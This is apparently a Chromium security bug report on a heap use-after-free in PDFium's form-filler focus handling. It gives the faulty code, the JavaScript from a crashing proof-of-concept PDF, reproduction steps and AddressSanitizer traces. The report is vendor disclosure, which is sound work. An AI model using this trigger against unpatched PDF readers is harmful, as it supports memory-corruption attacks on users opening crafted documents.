VULNERABILITY DETAILS

Bug is in  below mentioned code section of CFFL_InteractiveFormFiller::OnSetFocus method.

 ....
 pWidget->OnAAction(CPDF_AAction::GetFocus, fa, pPageView);
 m_bNotifying = FALSE;

 if (pWidget->IsAppModified()) {
 .....

pWidget can be deleted through "pWidget->OnAAction"

* Another common cause for this bug and bugs  632709 , 630654  is mentioned in comment 16 of  bug 632709 . I think it is better to fix that too since that pattern can be used to find new bugs.

Attached test.pdf file contains below mentioned Javascript.

Document Javascript section
---------------------------
function test()
{
  f = this.getField('cmb1');
  f.value ='one';
  f.setFocus();
}

app.setTimeOut('test()',4000);

onFocus event of "cmb1" Combo Box
---------------------------------
n = this.pageNum;


VERSION
Chrome Version: [53.0.2785.116 ] + [stable]
                [55.0.2869.0] + [Tot]
Operating System: [Please indicate OS, version, and service pack level]

REPRODUCTION CASE
1. Open attached test.pdf with chrome.
2. Wait 4 seconds.
PDF Plugin process will crash.

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: [PDF Plugin process]
Crash State: Address Sanitizer output

==1==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000012580 at pc 0x55c0fffd9b8e bp 0x7ffc4ca27140 sp 0x7ffc4ca27138
READ of size 4 at 0x607000012580 thread T0 (chrome)
    #0 0x55c0fffd9b8d in ?? ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_widget.cpp:743:10
    #1 0x55c10002b289 in OnSetFocus ./out/asan/../../third_party/pdfium/fpdfsdk/formfiller/cffl_interactiveformfiller.cpp:442:20
    #2 0x55c0ffff4dfe in Annot_OnSetFocus ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_annothandlermgr.cpp:225:33
    #3 0x55c0fffcb50b in SetFocusAnnot ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_document.cpp:206:27
    #4 0x55c10046f174 in setFocus ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/Field.cpp:3225:18
    #5 0x55c10048c373 in JSMethod<Field, &Field::setFocus> ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/JS_Define.h:155:8
    #6 0x55c0f1d520d9 in Call ./out/asan/../../v8/src/api-arguments.cc:19:3
    #7 0x55c0f1ec5e08 in HandleApiCallHelper<false> ./out/asan/../../v8/src/builtins/builtins-api.cc:106:36
    #8 0x55c0f1ec359e in Builtin_Impl_HandleApiCall ./out/asan/../../v8/src/builtins/builtins-api.cc:135:5
    #9 0x7f456af843a6  (<unknown module>)
    #10 0x7f456b084afd  (<unknown module>)
    #11 0x7f456b084913  (<unknown module>)
    #12 0x7f456afcf7a2  (<unknown module>)
    #13 0x7f456afaaa60  (<unknown module>)
    #9 0x55c0f27c6f0f in Invoke ./out/asan/../../v8/src/execution.cc:139:13
    #10 0x55c0f27c6452 in Call ./out/asan/../../v8/src/execution.cc:176:10
    #11 0x55c0f1d6ae1b in Run ./out/asan/../../v8/src/api.cc:1864:7
    #12 0x55c1004d1faa in Execute ./out/asan/../../third_party/pdfium/fxjs/fxjs_v8.cpp:477:25
    #13 0x55c10040081c in ?? ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/cjs_runtime.cpp:241:14
    #14 0x55c1004cca7a in RunScript ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/cjs_context.cpp:52:24
    #15 0x55c1004b90a6 in RunJsScript ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/app.cpp:615:15
    #16 0x55c1004b90a6 in TimerProc ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/app.cpp:603:0
    #17 0x55c1004b8437 in Trigger ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/app.cpp:103:26
    #18 0x55c0f5bc479c in OnCallback 
.......

0x607000012580 is located 64 bytes inside of 80-byte region [0x607000012540,0x607000012590)
freed by thread T0 (chrome) here:
    #0 0x55c0f122f05b in operator delete(void*) ??:?
    #1 0x55c0fffd5456 in ~CPDFSDK_PageView ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_pageview.cpp:67:23
    #2 0x55c0fffcb0fe in RemovePageView ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_document.cpp:153:3
    #3 0x55c0f5bd62f2 in Unload ./out/asan/../../pdf/pdfium/pdfium_page.cc:111:7
    #4 0x55c0f5baa3ba in CalculateVisiblePages ./out/asan/../../pdf/pdfium/pdfium_engine.cc:2650:20
    #5 0x55c0f5bc411d in GetMostVisiblePage ./out/asan/../../pdf/pdfium/pdfium_engine.cc:2290:3
    #6 0x55c0f5ba6c94 in Form_GetCurrentPage ./out/asan/../../pdf/pdfium/pdfium_engine.cc:3502:21
    #7 0x55c0fffca66f in ?? ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_document.cpp:69:38
    #8 0x55c10042a83c in pageNum ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/Document.cpp:219:52
    #9 0x55c10043e53e in JSPropGetter<Document, &Document::pageNum> ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/JS_Define.h:89:8
    #10 0x55c0f2a12818 in Call ./out/asan/../../v8/src/api-arguments-inl.h:32:1
    #11 0x55c0f2b7c555 in GetPropertyWithAccessor ./out/asan/../../v8/src/objects.cc:1350:34
    #12 0x55c0f2b79fba in GetProperty ./out/asan/../../v8/src/objects.cc:996:16
    #13 0x55c0f29d43d5 in Load ./out/asan/../../v8/src/ic/ic.cc:643:5
    #14 0x55c0f29ec9c4 in __RT_impl_Runtime_LoadIC_Miss ./out/asan/../../v8/src/ic/ic.cc:2285:5
    #15 0x55c0f29ec9c4 in Runtime_LoadIC_Miss ./out/asan/../../v8/src/ic/ic.cc:2267:0
    #15 0x7f456af843a6  (<unknown module>)
    #16 0x7f456b084c0e  (<unknown module>)
    #17 0x7f456afcf7a2  (<unknown module>)
    #18 0x7f456afaaa60  (<unknown module>)
    #16 0x55c0f27c6f0f in Invoke ./out/asan/../../v8/src/execution.cc:139:13
    #17 0x55c0f27c6452 in Call ./out/asan/../../v8/src/execution.cc:176:10
    #18 0x55c0f1d6ae1b in Run ./out/asan/../../v8/src/api.cc:1864:7
    #19 0x55c1004d1faa in Execute ./out/asan/../../third_party/pdfium/fxjs/fxjs_v8.cpp:477:25
    #20 0x55c10040081c in ?? ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/cjs_runtime.cpp:241:14
    #21 0x55c1004cca7a in RunScript ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/cjs_context.cpp:52:24
    #22 0x55c0fffc7607 in ?? ./out/asan/../../third_party/pdfium/fpdfsdk/fsdk_actionhandler.cpp:522:28
    #23 0x55c0fffc849d in ExecuteFieldAction ./out/asan/../../third_party/pdfium/fpdfsdk/fsdk_actionhandler.cpp:249:9
    #24 0x55c0fffc8120 in DoAction_Field ./out/asan/../../third_party/pdfium/fpdfsdk/fsdk_actionhandler.cpp:105:10
    #25 0x55c0fffed631 in OnAAction ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_widget.cpp:1896:28
    #26 0x55c10002b265 in OnSetFocus ./out/asan/../../third_party/pdfium/fpdfsdk/formfiller/cffl_interactiveformfiller.cpp:439:16

previously allocated by thread T0 (chrome) here:
    #0 0x55c0f122e41b in operator new(unsigned long) ??:?
    #1 0x55c100000c2a in NewAnnot ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_widgethandler.cpp:64:29
    #2 0x55c0fffd7361 in LoadFXAnnots ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_pageview.cpp:502:47
    #3 0x55c0fffca0bf in GetPageView ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_document.cpp:63:14
    #4 0x55c0fffbd953 in FormHandleToPageView ./out/asan/../../third_party/pdfium/fpdfsdk/fpdfformfill.cpp:56:29
    #5 0x55c0fffbd953 in FORM_OnAfterLoadPage ./out/asan/../../third_party/pdfium/fpdfsdk/fpdfformfill.cpp:649:0
    #6 0x55c0f5bd6542 in GetPage ./out/asan/../../pdf/pdfium/pdfium_page.cc:126:7
    #7 0x55c0fffca6fb in GetPageView ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_document.cpp:75:38
    #8 0x55c0fffce21f in GetWidget ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_interform.cpp:112:28
    #9 0x55c0fffce732 in GetWidgets ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_interform.cpp:137:31
    #10 0x55c100456dfd in UpdateFormField ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/Field.cpp:296:17
    #11 0x55c10046b409 in SetValue ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/Field.cpp:2778:11
    #12 0x55c10046a801 in value ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/Field.cpp:2674:7
    #13 0x55c100484165 in JSPropSetter<Field, &Field::value> ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/JS_Define.h:114:8
    #14 0x55c0f2a11d42 in Call ./out/asan/../../v8/src/api-arguments-inl.h:131:3
    #15 0x55c0f2b83b8b in SetPropertyWithAccessor ./out/asan/../../v8/src/objects.cc:1433:10
    #16 0x55c0f2bba338 in SetPropertyInternal ./out/asan/../../v8/src/objects.cc:4677:16
    #17 0x55c0f2bb9450 in SetProperty ./out/asan/../../v8/src/objects.cc:4709:9
    #18 0x55c0f29e1a89 in Store ./out/asan/../../v8/src/ic/ic.cc:1580:3
.............


 

Deleted: test.pdf 2.9 KB

test.pdf 2.9 KB Download